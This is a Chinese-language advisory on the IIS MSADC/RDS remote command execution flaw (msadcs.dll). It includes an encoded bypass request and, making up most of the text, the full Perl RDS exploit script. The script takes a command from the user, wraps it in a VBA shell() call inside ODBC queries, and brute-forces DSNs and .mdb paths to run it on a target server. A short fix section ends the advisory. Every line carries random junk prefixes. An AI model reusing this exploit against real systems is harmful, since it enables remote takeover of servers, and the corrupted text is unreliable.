IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>zvY\{WY -F / st 涉及程序：
BcWcdr+}9 Microsoft NT server
`bI) <B ` 1` f*d
v 描述：
<Cpp?DW_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
YB))S!; Ok ^WYQ]@rh3 详细：
I_)*)d44_ 如果你没有时间读详细内容的话，就删除:
fN%j J-[d c:\Program Files\Common Files\System\Msadc\msadcs.dll
+Lm4kA+aE5 有关的安全问题就没有了。
'Ye v} QM `|O yRU"EK 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
J :d of: q 0X|_^"! 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
= v~1qWX 关于利用ODBC远程漏洞的描述，请参看:
AnsjmR:Jv _ o6 G6e, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm & -l8n^ NLd` `=& 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
}-p[V$:S http://www.microsoft.com/security/bulletins/MS99-025faq.asp gT +Bhr GOy%^:Xd 这里不再论述。
1MsWnSvzf '!h /B;*( 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
qem( s</: u^W2UE\ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
K/ _9f'^ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
v5ur&egVs [] W;t\h * A|-KKo\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
W`rNBfG> oP?YA-#nc #!perl
\t4tiCw #
Z,7R;,qX # MSADC/RDS 'usage' (aka exploit) script
+t)n;JHN #
kY wb -; # by rain.forest.puppy
ws/63 d* #
F N[R(SLbL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^4Am
%y yT # beta test and find errors!
`b5 @}', >RI>J.~ use Socket; use Getopt::Std;
we7c`1E getopts("e:vd:h:XR", \%args);
.aOn Gp ,8G {]X) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Y(VJbm` x|64l`Vp(: if (!defined $args{h} && !defined $args{R}) {
B6P|Z%E;D6 print qq~
^nK7i[yF.k Usage: msadc.pl -h <host> { -d <delay> -X -v }
gYop--\14] -h <host> = host you want to scan (ip or domain)
]uL + &(cr -d <seconds> = delay between calls, default 1 second
Y$8JM -X = dump Index Server path table, if available
eL D?jTi' -v = verbose
q> :$c0JY -e = external dictionary file for step 5
#.B"q:CW*P =nUW' Or a -R will resume a command session
* !e(A ]& <-Bx&Q ~; exit;}
9Mm!%Hu T5Esee sp $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
iX{G]< n if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1t[j"CG(o if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9a$56GnW1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
{NM+Oj,~' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
KGHq rc if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`em9T oJV XJ0 {
if (!defined $args{R}){ $ret = &has_msadc;
FE7)E.U die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
n QK|n^AU/ hv$yV%.` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
p4u5mM . "cmd /c ";
"I -
w $in=<STDIN>; chomp $in;
$ 3+PbYY $command="cmd /c " . $in ;
m(OvD! r} _c if (defined $args{R}) {&load; exit;}
'Yy&G\S _A_ A$N~9 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
p\v Mc\ &try_btcustmr;
2 - !L _W( Ft JjY@# print "\nStep 2: Trying to make our own DSN...";
&:*q_$]Oz &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
9~ IQw#< c8 K3 .&P6 print "\nStep 3: Trying known DSNs...";
3B0lb "e &known_dsn;
]L PQYL cFd
> oDS print "\nStep 4: Trying known .mdbs...";
X*oMFQgP &known_mdb;
*DI)? (LAXM
x if (defined $args{e}){
2i #Sn' 1 print "\nStep 5: Trying dictionary of DSN names...";
` :{B(+6 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
p^m5`{1]x 2N c>6 print "Sorry Charley...maybe next time?\n";
-5G)?J/* exit;
:B *}^g uUR~&8ERX ##############################################################################
^
?hA@{T/1 %%%fL;-y sub sendraw { # ripped and modded from whisker
Wk;5/ sleep($delay); # it's a DoS on the server! At least on mine...
Pj#'}ru! my ($pstr)=@_;
{y
kYW%3s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wYsZM/lw die("Socket problems\n");
=wu*D5 if(connect(S,pack "SnA4x8",2,80,$target)){
5m $2Ku select(S); $|=1;
)4Q?aMm print $pstr; my @in=<S>;
o;F" {RZ select(STDOUT); close(S);
6` 01EIk return @in;
hm$X]H`uMX } else { die("Can't connect...\n"); }}
jZfx Jm U$&hZ_A ##############################################################################
f6<g3Q7Mu U4?(A@z9^ sub make_header { # make the HTTP request
m@Ev~~; my $msadc=<<EOT
/BKe+]dS* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
7J$b$P0} User-Agent: ACTIVEDATA
fg%&N2/(.B Host: $ip
_,h@: Xij Content-Length: $clen
VU|dV\> Connection: Keep-Alive
j|.} I )YW<" $s ADCClientVersion:01.06
79J-)e9 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
92W&x' DLE8+NV8
--!ADM!ROX!YOUR!WORLD!
vy@rQC %9 Content-Type: application/x-varg
WUdKLx %F Content-Length: $reqlen
e= P J a, d3K
EOT
r~[vaQQ6L ; $msadc=~s/\n/\r\n/g;
]J1S#Q5' return $msadc;}
ig"uXs lw%?z/HDf ##############################################################################
8am`6;O:! dm rps+L sub make_req { # make the RDS request
4NEq$t$Jn my ($switch, $p1, $p2)=@_;
Z*{]
, my $req=""; my $t1, $t2, $query, $dsn;
3ucP(Ex@tg CC ijf] + if ($switch==1){ # this is the btcustmr.mdb query
JM$.O;y
- $query="Select * from Customers where City=" . make_shell();
nHFrG
=o, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
R_P}~l $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&Jc_Fc(M
D.!~dyI.,$ elsif ($switch==2){ # this is general make table query
ytEC $query="create table AZZ (B int, C varchar(10))";
H( - Y $dsn="$p1";}
>/f_F6ay# }|)R
elsif ($switch==3){ # this is general exploit table query
2 mjV~ $query="select * from AZZ where C=" . make_shell();
AS!6XT $dsn="$p1";}
qgt[ ~i* 3 {Nbp elsif ($switch==4){ # attempt to hork file info from index server
:)f7A7 :; $query="select path from scope()";
pfuW $dsn="Provider=MSIDXS;";}
qL5I#?OMkU b}OD WdJ1 elsif ($switch==5){ # bad query
|8_ JY2
R $query="select";
UAS@R`?cI $dsn="$p1";}
%bXx!x8( OY-w?'p?W $t1= make_unicode($query);
6+rlXmd $t2= make_unicode($dsn);
~0"p*?^ $req = "\x02\x00\x03\x00";
N8cAqr $req.= "\x08\x00" . pack ("S1", length($t1));
q*jNH\| $req.= "\x00\x00" . $t1 ;
c{ZY,C&< $req.= "\x08\x00" . pack ("S1", length($t2));
#PvB/ 3 $req.= "\x00\x00" . $t2 ;
Q3W#`6jpF $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+H/jK @ return $req;}
G%p~m%zIK K?x,T8<aW ##############################################################################
SM 0M% 5`/@N{ e sub make_shell { # this makes the shell() statement
XhzGLYb~I` return "'|shell(\"$command\")|'";}
Rn%N&1
Ef HY;o ^drd ##############################################################################
cNpe_LvW }S-DB#6 sub make_unicode { # quick little function to convert to unicode
wbyE;W my ($in)=@_; my $out;
ij5g^{_T;8 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
8$N8} q% return $out;}
jd`},X / tL
SN`6[: ##############################################################################
X8eJ4% A?Q a 4i sub rdo_success { # checks for RDO return success (this is kludge)
GnXNCeE` my (@in) = @_; my $base=content_start(@in);
ivgpS5 M`Y if($in[$base]=~/multipart\/mixed/){
vh!v
MB}} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
wu<])&F return 0;}
k`HP "H bSwWszd~ ##############################################################################
:m=m}3/: OIHz I 2{ sub make_dsn { # this makes a DSN for us
u]^N&2UW my @drives=("c","d","e","f");
[mxTa\ print "\nMaking DSN: ";
/76 1o\Q foreach $drive (@drives) {
Rr(* aC2P print "$drive: ";
+!-~yf#RE my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
iyZ Z}M "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ek aFN\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c R-~)UyrO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
nq} Q return 0 if $2 eq "404"; # not found/doesn't exist
)Ag/Qep if($2 eq "200") {
!;@_VWR foreach $line (@results) {
9I LIEm: return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
t HD } return 0;}
`+lHeLz': 6< J
#^ 6 ##############################################################################
~H)4)r^ $v.C0 x sub verify_exists {
nm$Dd~mxW1 my ($page)=@_;
Thy=yz;p my @results=sendraw("GET $page HTTP/1.0\n\n");
9n]|PEoAB return $results[0];}
p5=|Y^g ! ?8dVH2W. ##############################################################################
qJ!Z~-hS 39U5jj7i sub try_btcustmr {
\ A1uhHP! my @drives=("c","d","e","f");
fHrt+_Zn| my @dirs=("winnt","winnt35","winnt351","win","windows");
yDb'7(3- >e5 *prx+ foreach $dir (@dirs) {
P=L$;xgp print "$dir -> "; # fun status so you can see progress
;cQW sTfT foreach $drive (@drives) {
_,Fny_u=; print "$drive: "; # ditto
.o%^'m"=D[ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)o1eWL} $reqlenlen=length( "$reqlen" );
j83? m $clen= 206 + $reqlenlen + $reqlen;
,7Y-k'7Kop a~h:qpg c my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Dq\ Jz~ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
V{-AP=C7 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
n; HHogA eC
DIwB28 ##############################################################################
8GPIZh'0 h \2[<XG(^ sub odbc_error {
T G48%L my (@in)=@_; my $base;
m4K* < my $base = content_start(@in);
Mj>}zbpk / if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
js^ ,(CS $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~Vh(6q.oT $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Bsf7mcXz7z $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F+UG'4% return $in[$base+4].$in[$base+5].$in[$base+6];}
Op.8a`XLt& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
S-+ "@>{HJ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
yn
AB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
+ j+5ud ` uxn)R#? ##############################################################################
5F+APz7 K`}{0@ilCw sub verbose {
%Kh4m7 my ($in)=@_;
)CPM7 > return if !$verbose;
JG`Q;K print STDOUT "\n$in\n";}
_ Jz8{` " aeyNdMk - ##############################################################################
pD"vRbYF :6 J +%(f sub save {
i>L+gLW my ($p1, $p2, $p3, $p4)=@_;
XKL3RMF9r open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3gWvmep1 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
MfF~8 close OUT;}
_i_Q ?w` ->z54 T
##############################################################################
-Ue$T{;RoH \mM<\-'p sub load {
h+.{2 ^x my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=rA ~7+} open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Xy ,lA4IP @p=<IN>; close(IN);
a/Q$cOs $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`cz2DR-" $target= inet_aton($ip) || die("inet_aton problems");
KAA-G2%M print "Resuming to $ip ...";
[sV"ws $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
}K1 0Po ' if($p[1]==1) {
<F7kh[L_x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<`X"}I3 ba $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
v!3A9!. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"eWk#/ if (rdo_success(@results)){print "Success!\n";}
=.<@`1 else { print "failed\n"; verbose(odbc_error(@results));}}
i!2TH~ zl elsif ($p[1]==3){
oeS N 9O if(run_query("$p[3]")){
zQ?! f#f print "Success!\n";} else { print "failed\n"; }}
'mCe=Y elsif ($p[1]==4){
WFR?fDtE if(run_query($drvst . "$p[3]")){
^VW
PdH/Fe print "Success!\n"; } else { print "failed\n"; }}
$w)~O<_U exit;}
TlL^7f} C,V%B ##############################################################################
1sE?YJP- O-]mebTvw sub create_table {
qs\2Z@; my ($in)=@_;
!J1rRPV $reqlen=length( make_req(2,$in,"") ) - 28;
e:E0 "< $reqlenlen=length( "$reqlen" );
'oNO-)p\#! $clen= 206 + $reqlenlen + $reqlen;
@}_WE,r my @results=sendraw(make_header() . make_req(2,$in,""));
8bK|:B#6, return 1 if rdo_success(@results);
!?f 5>Bl my $temp= odbc_error(@results); verbose($temp);
_EnwME {@ return 1 if $temp=~/Table 'AZZ' already exists/;
OV2 -8ERS return 0;}
t-
u VZ!`\ (2ur5uk+ ##############################################################################
#1c]PX
vr#+0:| sub known_dsn {
@Q&3L~K" # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
I
+5)Jau^S my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
~"pKe~h "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
kh~'Cn "O "banner", "banners", "ads", "ADCDemo", "ADCTest");
Dih6mTP{ r?m+.fJ B foreach $dSn (@dsns) {
j.~!dh$mg print ".";
(Q[fS:U next if (!is_access("DSN=$dSn"));
G CRz<)1 if(create_table("DSN=$dSn")){
lPH%Do>K print "$dSn successful\n";
2Y}?P+:%> if(run_query("DSN=$dSn")){
h'J|K^na print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
H|ozDA print "Something's borked. Use verbose next time\n";}}} print "\n";}
rrg96WD AIb2k ##############################################################################
xX3'bsN OJT1d-5p sub is_access {
I{JU-J k| my ($in)=@_;
4p%A8%/q $reqlen=length( make_req(5,$in,"") ) - 28;
M)*\a/6?{ $reqlenlen=length( "$reqlen" );
6-`|:[Q~ $clen= 206 + $reqlenlen + $reqlen;
MUOa@O, my @results=sendraw(make_header() . make_req(5,$in,""));
bQe^Px5
!. my $temp= odbc_error(@results);
(npj_s!.C) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
5tJ,7Y' return 0;}
*vgl*k?) R(.} C)q3 ##############################################################################
IcP)FB 4 4=uhh
sub run_query {
64Lx -avf my ($in)=@_;
4? N8R$ $reqlen=length( make_req(3,$in,"") ) - 28;
}'r[m5T $reqlenlen=length( "$reqlen" );
r|4t aV& $clen= 206 + $reqlenlen + $reqlen;
j Ja$a [ my @results=sendraw(make_header() . make_req(3,$in,""));
I8oo~2Q w return 1 if rdo_success(@results);
a`G x=8 my $temp= odbc_error(@results); verbose($temp);
AV 8n( return 0;}
"G >3QL+O| NmK8<9`u ##############################################################################
wB'zuPAK6 V)Z70J <' sub known_mdb {
d]9U^iy my @drives=("c","d","e","f","g");
Iff9'TE my @dirs=("winnt","winnt35","winnt351","win","windows");
'65LK D my $dir, $drive, $mdb;
C]^H& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
80A.<=(=. [ dtbkQt,c # this is sparse, because I don't know of many
HM >lg`S my @sysmdbs=( "\\catroot\\icatalog.mdb",
u66XN^ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
'mI'dG "\\system32\\certmdb.mdb",
=b ;>?dP "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
I H$0)g;s $/Aj1j`"9+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
AM=z`0so "\\cfusion\\cfapps\\forums\\forums_.mdb",
kq\)MQ"/X "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
.CP& bJP% "\\cfusion\\cfapps\\security\\realm_.mdb",
zMIT}$L "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Zmbfq8K "\\cfusion\\database\\cfexamples.mdb",
{M,,npl "\\cfusion\\database\\cfsnippets.mdb",
^Rm "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(&$VxuJ+6y "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!lo/xQ< "\\cfusion\\brighttiger\\database\\cleam.mdb",
cj11S>D "\\cfusion\\database\\smpolicy.mdb",
iy""(c "\\cfusion\\database\cypress.mdb",
:JlP[I
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
6TP7 b| "\\website\\cgi-win\\dbsample.mdb",
4Ll o`K4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P`r55@af4 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
d[rv1s>i ); #these are just
a >\vUv * foreach $drive (@drives) {
Ym;*Y !~[ foreach $dir (@dirs){
cqxVAzb foreach $mdb (@sysmdbs) {
+r3IN){jz print ".";
8[6o ( if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
y
q tKy print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
o 1nURJ! if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
(8_\^jJ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
h6 dPO" } else { print "Something's borked. Use verbose next time\n"; }}}}}
Vh>Z,()>>@ p~LrPWHSTP foreach $drive (@drives) {
n~VD uKn9 foreach $mdb (@mdbs) {
<nEi<iAY>U print ".";
G
"P4- if(create_table($drv . $drive . $dir . $mdb)){
s+tGFjq print "\n" . $drive . $dir . $mdb . " successful\n";
OtFh,}E if(run_query($drv . $drive . $dir . $mdb)){
zbJT&@z print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
&/,|+U[ } else { print "Something's borked. Use verbose next time\n"; }}}}
\9-"M;R.d }
G :g69=x y O|_h_I-2 ##############################################################################
`~eUee3b.~ QeF3qXI sub hork_idx {
6'xsG?{JY print "\nAttempting to dump Index Server tables...\n";
N&@}/wzZ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
gv5*!eI $reqlen=length( make_req(4,"","") ) - 28;
Q_l'o3 $reqlenlen=length( "$reqlen" );
}-~l!
$clen= 206 + $reqlenlen + $reqlen;
s&'QN =A my @results=sendraw2(make_header() . make_req(4,"",""));
\W 1/p` if (rdo_success(@results)){
[9: 9Ql_h my $max=@results; my $c; my %d;
-*.-9B~ u for($c=19; $c<$max; $c++){
:6$>_m=i $results[$c]=~s/\x00//g;
6;b ~Ht $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
V59(Z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
kQ ]$ %Lk[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
,@5I:X!rR $d{"$1$2"}="";}
v+9 9
-. foreach $c (keys %d){ print "$c\n"; }
(5\N B0 } else {print "Index server doesn't seem to be installed.\n"; }}
tDUwy^j O$4yAaD
X ##############################################################################
>LDhU%bH [=~ pe|8: sub dsn_dict {
o6 $4/I open(IN, "<$args{e}") || die("Can't open external dictionary\n");
sH\5/'? while(<IN>){
\l~*PG2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
V^;jJ'] next if (!is_access("DSN=$dSn"));
s=CK~+,/ if(create_table("DSN=$dSn")){
w6j/ Dq! print "$dSn successful\n";
%D * OO{ if(run_query("DSN=$dSn")){
Dd` Mv$*d8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&r:7g%{n
print "Something's borked. Use verbose next time\n";}}}
/Z7iLq~t"G print "\n"; close(IN);}
}f2r!7:x o=`C<} ##############################################################################
jlxpt)0i 2#k5+?-c61 sub sendraw2 { # ripped and modded from whisker
AlJ} >u sleep($delay); # it's a DoS on the server! At least on mine...
NVRLrJWpp my ($pstr)=@_;
u]OW8 rc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kZ"BBJ6w die("Socket problems\n");
R
LD`O9#j if(connect(S,pack "SnA4x8",2,80,$target)){
B5$kHM%p print "Connected. Getting data";
itMg|%B% open(OUT,">raw.out"); my @in;
D_Bb?o5 select(S); $|=1; print $pstr;
g:EVhuK while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
T1H"\+ close(OUT); select(STDOUT); close(S); return @in;
^Ox3XC } else { die("Can't connect...\n"); }}
zl`h~}I Wl}&?v&@ ##############################################################################
7F'`CleU W6Y@U$P#G sub content_start { # this will take in the server headers
t45Z@hmcW my (@in)=@_; my $c;
yq$,,#XDD= for ($c=1;$c<500;$c++) {
tor!Dl@Mo if($in[$c] =~/^\x0d\x0a/){
aM ;W$1h if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
]LM-@G+Jz else { return $c+1; }}}
7 x<i :x3 return -1;} # it should never get here actually
71l%MH rXHv`k y ##############################################################################
[<KM?\"1< )5
R=Z< sub funky {
k?7 X3/O my (@in)=@_; my $error=odbc_error(@in);
)rixMl &[ if($error=~/ADO could not find the specified provider/){
e dPUG
N print "\nServer returned an ADO miscofiguration message\nAborting.\n";
IY*EA4> exit;}
B-r0"MX & if($error=~/A Handler is required/){
LCQE_}Mh print "\nServer has custom handler filters (they most likely are patched)\n";
fj&i63 ?e exit;}
>]c*'~G& if($error=~/specified Handler has denied Access/){
{%C7EAq* print "\nServer has custom handler filters (they most likely are patched)\n";
\J6j38D5 exit;}}
SV(]9^ nW 'PP #^aI, ##############################################################################
D$x_o!JT (IPY^>h sub has_msadc {
1m .W< my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
3 g6j?yYqb my $base=content_start(@results);
Ox@P6|m return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^I+)o1%F return 0;}
*2GEnAZb7n J4 \ qEO ########################
h5K $mA5 C oA6 Y5j]Z^^v 解决方案：
xL" |)A = 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
I&YSQK:b 2、移除web 目录: /msadc
